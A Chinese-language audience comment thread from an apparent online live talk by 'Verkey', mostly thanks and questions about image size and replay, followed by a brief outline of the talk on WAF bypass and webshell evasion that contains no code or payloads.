感谢Verkey老师。
感谢Verkey师傅
感谢Verkey师傅
感谢Verkey老师。风雨无阻
感谢verkey老师
感谢verkey老师
感谢
谢谢大家！非常抱歉，可能很多朋友没法照顾到。
感谢
感谢思源
感谢!
感谢Verkey老师。
感谢verkey师傅
😀
感谢！ 非常好了
建议图弄大点。。。。
图片大概设么时间可以换成高清呢？
图自己直接改大小就可以， w_1000,h_1000
如果大家对LIVE有什么意见和建议，请联系@长短短
图片问题 我们会在后面调整
这个祖传图片看的真有点尴尬
明天加上图片放大功能，大家可以回访。
或者联系l0ca1，非常感谢他们提供这个平台！
每次听verkey讲座总能有收获，再次感谢
感谢verkey师傅
o(∩_∩)o
谢谢你们！这个LIVE会留着，欢迎大家回访！
😀
留着就好 我还没看呢 刚刚赶回来
不用保存，可以反复看的 🔥
怎么回看
要微信登录？
往上翻着看
点击‘仅看主讲人’
还是原来的网址登录进来吗
是的
点击完之后，新发的还是可以刷频
会改进的
关键是自动跳转到最低端，这才是最郁闷的
Live 大纲
- 主流 WAF 的绕过技术
- 实例讲解 WAF 绕过的思路和方法
- 实例讲解一句话木马免杀，绕过 WAF 流量拦截
- 讨论和答疑
Live 介绍
本次课程我们将以一些实际的 WAF 产品为例，了解它们的基本原理，它们存在的缺陷，以及攻击者是如何利用它们的缺陷让它们形同虚设的。我们应当更注重于注重自身系统和应用的安全，不能以为有了 WAF 就可以高枕无忧。